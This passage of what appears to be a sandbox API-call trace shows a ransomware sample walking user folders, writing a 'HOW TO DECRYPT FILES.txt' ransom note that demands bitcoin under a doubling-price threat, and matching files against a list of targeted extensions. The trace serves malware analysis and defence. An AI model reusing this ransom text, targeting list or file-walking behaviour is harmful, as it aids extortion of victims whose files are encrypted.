ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.932] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.932] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.932] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0087.932] lstrcmpA (lpString1=".", lpString2="RSA") returned -1 [0087.932] lstrcmpA (lpString1="..", lpString2="RSA") returned -1 [0087.932] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*.*") returned="*.*" [0087.932] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0087.932] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 66 [0087.932] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.932] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.933] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.933] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.933] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.933] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0087.933] lstrcmpA (lpString1=".", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0087.933] lstrcmpA (lpString1="..", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0087.933] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*.*") returned="*.*" [0087.933] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0087.933] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 113 [0087.933] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.937] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.937] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.937] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.937] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.938] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xa1e34990, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="83AA4C~1")) returned 1 [0087.938] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.938] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0087.938] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0087.938] lstrcmpiA (lpString1="", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned -1 [0087.938] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*") returned="*.*" [0087.938] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0087.938] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0087.938] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0087.938] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0xffffffff [0087.938] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0087.939] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0087.939] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0087.941] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.942] CloseHandle (hObject=0x9c) returned 1 [0087.942] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0087.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ems") returned 0 [0087.942] lstrlenA (lpString="*.ems") returned 5 [0087.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.db") returned 0 [0087.942] lstrlenA (lpString="*.db") returned 4 [0087.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dbf") returned 0 [0087.942] lstrlenA (lpString="*.dbf") returned 5 [0087.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.myox") returned 0 [0087.942] lstrlenA (lpString="*.myox") returned 6 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.myo") returned 0 [0087.943] lstrlenA (lpString="*.myo") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbw") returned 0 [0087.943] lstrlenA (lpString="*.qbw") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbb") returned 0 [0087.943] lstrlenA (lpString="*.qbb") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbm") returned 0 [0087.943] lstrlenA (lpString="*.qbm") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbo") returned 0 [0087.943] lstrlenA (lpString="*.qbo") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbx") returned 0 [0087.943] lstrlenA (lpString="*.qbx") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qba") returned 0 [0087.943] lstrlenA (lpString="*.qba") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qby") returned 0 [0087.943] lstrlenA (lpString="*.qby") returned 5 [0087.943] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbj") returned 0 [0087.943] lstrlenA (lpString="*.qbj") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ofx") returned 0 [0087.944] lstrlenA (lpString="*.ofx") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qif") returned 0 [0087.944] lstrlenA (lpString="*.qif") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mye") returned 0 [0087.944] lstrlenA (lpString="*.mye") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mbox") returned 0 [0087.944] lstrlenA (lpString="*.mbox") returned 6 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.eml") returned 0 [0087.944] lstrlenA (lpString="*.eml") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.pst") returned 0 [0087.944] lstrlenA (lpString="*.pst") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ost") returned 0 [0087.944] lstrlenA (lpString="*.ost") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.idx") returned 0 [0087.944] lstrlenA (lpString="*.idx") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dbx") returned 0 [0087.944] lstrlenA (lpString="*.dbx") returned 5 [0087.944] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.sql") returned 0 [0087.945] lstrlenA (lpString="*.sql") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mdb") returned 0 [0087.945] lstrlenA (lpString="*.mdb") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.fdb") returned 0 [0087.945] lstrlenA (lpString="*.fdb") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.wab") returned 0 [0087.945] lstrlenA (lpString="*.wab") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dat") returned 0 [0087.945] lstrlenA (lpString="*.dat") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.txt") returned 0 [0087.945] lstrlenA (lpString="*.txt") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.jpeg") returned 0 [0087.945] lstrlenA (lpString="*.jpeg") returned 6 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.jpg") returned 0 [0087.945] lstrlenA (lpString="*.jpg") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.png") returned 0 [0087.945] lstrlenA (lpString="*.png") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.php") returned 0 [0087.945] lstrlenA (lpString="*.php") returned 5 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.cs") returned 0 [0087.945] lstrlenA (lpString="*.cs") returned 4 [0087.945] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.cpp") returned 0 [0087.946] lstrlenA (lpString="*.cpp") returned 5 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.rar") returned 0 [0087.946] lstrlenA (lpString="*.rar") returned 5 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.zip") returned 0 [0087.946] lstrlenA (lpString="*.zip") returned 5 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.html") returned 0 [0087.946] lstrlenA (lpString="*.html") returned 6 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.htm") returned 0 [0087.946] lstrlenA (lpString="*.htm") returned 5 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.xlsx") returned 0 [0087.946] lstrlenA (lpString="*.xlsx") returned 6 [0087.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.xls") returned 0 [0087.946] lstrlenA (lpString="*.xls") returned 5 [0087.946] PathMatchSpecA 